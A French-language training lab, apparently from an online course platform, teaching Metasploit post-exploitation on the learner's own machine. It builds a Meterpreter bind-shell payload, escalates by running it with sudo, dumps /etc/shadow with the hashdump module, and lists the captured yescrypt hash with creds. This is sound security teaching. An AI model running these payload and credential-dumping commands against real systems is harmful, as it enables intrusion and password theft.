Introduction
Dans ce laboratoire, vous allez effectuer des tâches critiques de post-exploitation à l'aide du framework Metasploit. La post-exploitation intervient après qu'un attaquant a réussi à compromettre un système cible. L'objectif durant cette phase est de collecter des informations, d'élever ses privilèges et d'extraire des identifiants (tels que des hashs de mots de passe) afin de maintenir l'accès ou de se déplacer latéralement vers d'autres systèmes du réseau.
L'accès aux identifiants est crucial, car un hôte compromis n'est souvent que le début. Les mots de passe et les jetons (tokens) constituent le pont entre une compromission locale et une portée réseau plus large.
Vous utiliserez Meterpreter, un payload avancé et dynamiquement extensible qui fournit un shell de commande puissant. Grâce à une pratique concrète, vous apprendrez à vérifier vos privilèges utilisateur actuels, à simuler une élévation de privilèges, à extraire des hashs de mots de passe locaux et à stocker ces identifiants dans la base de données Metasploit pour une utilisation ultérieure.
Cette séquence est intentionnelle : le niveau de privilège détermine les secrets auxquels vous pouvez accéder, et les secrets obtenus déterminent souvent où vous pouvez vous déplacer ensuite.
Vérification des privilèges actuels (getuid)
Dans cette étape, vous allez configurer votre environnement en installant Metasploit, en générant un payload Meterpreter et en établissant votre première session. Une fois connecté, vous utiliserez la commande getuid pour identifier le compte utilisateur sous lequel votre payload s'exécute.
Connaître votre identité actuelle est basique mais essentiel. De nombreuses actions de post-exploitation réussissent ou échouent entièrement en fonction du contexte de compte dans lequel se trouve la session.
Tout d'abord, installez le framework Metasploit à l'aide du script d'installation préparé pour vous. Ce processus téléchargera et installera les composants nécessaires.
sudo /tmp/msfinstall
Metasploit utilise une base de données PostgreSQL pour garder une trace de vos découvertes, telles que les identifiants extraits. Dans cet environnement de laboratoire, msfdb init peut préparer la base de données locale par lui-même, vous pouvez donc l'initialiser directement :
msfdb init
Si vous voyez un message tel que postgresql: unrecognized service, vous pouvez l'ignorer dans cet environnement tant que msfdb init se termine avec succès.
Ensuite, générez un payload Meterpreter pour Linux. Un payload est le code malveillant qui s'exécute sur le système cible. Nous allons créer un payload bind_tcp, qui ouvre un port sur la cible et attend que nous nous y connections.
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
Si c'est la première fois que vous utilisez Metasploit dans l'environnement de laboratoire actuel, vous pourriez voir une invite de configuration initiale avant que msfvenom ne s'exécute. Lorsqu'on vous demande si vous souhaitez configurer une nouvelle base de données, répondez yes et attendez la fin de la configuration. Ensuite, msfvenom continuera et enregistrera le fichier du payload.
Rendez le payload généré exécutable :
chmod +x ~/project/payload.elf
Maintenant, exécutez le payload en arrière-plan. Cela simule une victime exécutant le fichier malveillant sur son système.
./payload.elf &
Avec le payload en cours d'exécution et à l'écoute sur le port 4444, utilisez msfconsole pour vous y connecter. La commande suivante configure automatiquement le gestionnaire (handler) et se connecte à votre payload, vous plaçant directement dans une session Meterpreter.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Une fois la connexion établie, vous verrez l'invite meterpreter >. Pour vérifier vos privilèges actuels, tapez la commande suivante :
getuid
Vous devriez voir une sortie similaire à celle-ci, indiquant que vous travaillez en tant qu'utilisateur standard labex :
Server username: uid=1000, gid=1000, euid=1000, egid=1000
Élévation de privilèges (getsystem)
Dans un scénario réel, les privilèges d'utilisateur standard sont souvent insuffisants pour des tâches critiques comme l'extraction de hashs de mots de passe. Les attaquants doivent élever leurs privilèges au niveau le plus élevé.
Dans les environnements Windows, Meterpreter fournit la commande getsystem, qui tente automatiquement diverses techniques pour élever les privilèges vers NT AUTHORITY\SYSTEM. Cependant, sur les systèmes Linux, l'élévation de privilèges implique généralement l'exploitation de vulnérabilités locales ou de mauvaises configurations (comme des permissions sudo trop permissives) pour devenir l'utilisateur root.
Puisque nous nous entraînons dans un environnement Linux, nous simulerons une élévation de privilèges réussie en exécutant notre payload avec sudo.
Tout d'abord, quittez votre session Meterpreter utilisateur standard actuelle en tapant :
exit
Cela fermera la session et vous ramènera au terminal Linux standard. Vous devez attendre d'être de retour à l'invite de commande normale, qui ressemble à labex:project/ $. Ce n'est qu'une fois revenu à cette invite que vous devrez exécuter la commande suivante.
Maintenant, exécutez à nouveau le payload, mais cette fois utilisez sudo pour l'exécuter en tant qu'utilisateur root. Le symbole & l'exécute en arrière-plan.
sudo ./payload.elf &
Connectez-vous au nouveau payload hautement privilégié en utilisant msfconsole comme vous l'avez fait précédemment :
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Une fois l'invite meterpreter > apparue, vérifiez que vous avez réussi à élever vos privilèges en vérifiant à nouveau votre ID utilisateur :
getuid
La sortie devrait maintenant confirmer que vous avez un accès au niveau système (root). Dans cet environnement, la sortie la plus courante est :
Server username: root
Certaines versions de Meterpreter peuvent afficher une forme numérique plus détaillée telle que uid=0, gid=0, euid=0, egid=0. Les deux formes indiquent que la session s'exécute avec les privilèges root.
Exécution de Hashdump
Maintenant que vous avez un accès au niveau système, vous pouvez effectuer des tâches de post-exploitation avancées. L'une des tâches les plus critiques est l'extraction des hashs de mots de passe.
C'est ici que l'élévation de privilèges se traduit par un impact opérationnel. Des privilèges plus élevés sont utiles car ils déverrouillent l'accès aux magasins d'identifiants protégés et à l'état sensible du système.
Sous Windows, les attaquants utilisent la commande hashdump pour extraire les hashs de la base de données SAM (Security Account Manager). Sous Linux, les hashs de mots de passe des utilisateurs sont stockés dans le fichier /etc/shadow, qui n'est lisible que par l'utilisateur root. Metasploit fournit un module de post-exploitation spécifique pour automatiser l'extraction et l'analyse de ces hashs Linux.
Dans votre session Meterpreter root active, exécutez le module Linux hashdump en tapant :
run post/linux/gather/hashdump
Vous verrez une sortie indiquant que Metasploit a extrait un ou plusieurs hashs de compte et a enregistré les résultats "unshadowed" dans le répertoire de loot.
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
Ces hashs extraits peuvent ensuite être soumis à des attaques de cassage de mots de passe hors ligne en utilisant des outils comme John the Ripper ou Hashcat pour récupérer les mots de passe en clair, permettant ainsi un mouvement latéral supplémentaire à travers le réseau.
Stockage des hashs dans la base de données (creds)
Un avantage majeur de l'utilisation du framework Metasploit est sa capacité à gérer automatiquement les données que vous collectez lors d'une mission. Comme vous avez initialisé la base de données à l'étape 1, Metasploit stocke automatiquement les hashs de mots de passe que vous venez d'extraire.
Pour afficher les identifiants stockés, vous devez revenir à l'invite principale msfconsole. Vous pouvez le faire en mettant votre session Meterpreter actuelle en arrière-plan.
Dans l'invite Meterpreter, tapez :
background
Vous serez ramené à l'invite msf6 >. Maintenant, utilisez la commande creds pour afficher tous les identifiants que Metasploit a collectés et stockés dans sa base de données :
creds
La sortie affichera un tableau structuré contenant l'IP de l'hôte, le port, le nom d'utilisateur et le hash de mot de passe extrait.
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
Cette gestion centralisée des identifiants est incroyablement utile lors de tests d'intrusion à grande échelle, vous permettant de suivre facilement les comptes compromis et de les réutiliser dans d'autres modules Metasploit.
Pour quitter msfconsole et terminer le laboratoire, tapez :
exit
Si Metasploit vous avertit que vous avez toujours une session active ouverte, tapez exit -y pour fermer la console et terminer le laboratoire.
Résumé
Dans ce laboratoire, vous avez navigué avec succès à travers les phases critiques de la post-exploitation en utilisant le framework Metasploit. Vous avez appris à établir une session Meterpreter, à vérifier vos privilèges actuels à l'aide de getuid et à comprendre l'importance de l'élévation de privilèges (en simulant l'objectif de getsystem). De plus, vous avez utilisé les modules de post-exploitation de Metasploit pour exécuter un hashdump, extrayant les hashs de mots de passe locaux du système cible. Enfin, vous avez exploré comment Metasploit gère automatiquement ces découvertes, vous permettant de visualiser les identifiants stockés à l'aide de la commande creds. Ces compétences sont fondamentales pour évaluer la posture de sécurité des systèmes et comprendre comment les attaquants se déplacent latéralement au sein d'un réseau.



